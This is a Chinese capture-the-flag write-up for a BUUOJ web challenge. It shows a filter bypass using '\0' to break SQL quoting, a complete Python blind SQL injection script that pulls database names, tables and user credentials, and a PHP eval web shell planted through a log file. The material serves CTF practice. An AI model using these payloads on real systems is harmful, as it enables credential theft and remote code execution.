題目首頁是一個登錄頁面,嘗試注入失敗。抓包過程中發現了image和user兩個PHP文件,image可以傳id參數,但只有id為1、2和3時能顯示圖片,其他情況為空頁面。
實在找不到可用信息以及hint,想到查看robots.txt文件,發現真的有。
User-agent: *
Disallow: *.php.bak
於是發現了image.php.bak。
<?php
include 'config.php';
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
可以發現image可以傳遞id和path兩個參數,並可能觸發SQL注入,前提是可以繞過對id和path的過濾。
接下來想辦法繞過過濾,主要是破壞單引號,重點借助以下四行代碼。
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
如何根據這幾行代碼破壞單引號呢,只能是用轉義字符\或者單引號自己來破壞。但是用單引號一定會被替換掉,只能考慮\。
對於1,2兩行代碼,如果參數中有斜杠或者單引號會被在加上一個斜杠來轉義。因此如果令id為\0,id會先變成\\0
。之后\0被替換掉,會剩下一個\,這樣的話原SQL語句的結構就會變為:
select * from images where id='x'{$path}'
其中x是一個字符串了,x為:
\' or path=
接下來借助path的值可以進行SQL注入。
我在這里寫了個腳本,需要注意的就是URL傳遞\0的時候在字符串中多加個\。此外由於單引號不能繞過,所以用到字符串比較的時候可以借助十六進制串來表示。
import requests
import time
#url是隨時更新的,具體的以做題時候的為准
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 30
for l in range(1,length+1):
#從可打印字符開始
begin = 32
ends = 126
tmp = (begin+ends)//2
while begin<ends:
r = requests.get(url.format(l,tmp))
if r.content!=b'':
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
#酌情刪除,畢竟一般庫表列里都沒有空格
if tmp==32:
break
rlt+=chr(tmp)
print(rlt)
return rlt.rstrip()
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('數據庫名為:',exp(url))
#database 得到了是ciscnfinal,接下來用其16進制表示
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名為:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名為:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用戶名為:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密碼為:',exp(url))
於是得到了admin的用戶名和密碼。
在首頁進行登錄,進入一個上傳頁面。
抓包的時候有提示說用戶名寫進了log.php,既然是寫入PHP,我們就想到寫入一個PHP木馬。
<?php eval($_POST[a]);?>
但是提示不可以,不過將php標簽中的php三個字符換成等號也是等價的。
用蟻劍或菜刀等工具連接即可得到flag。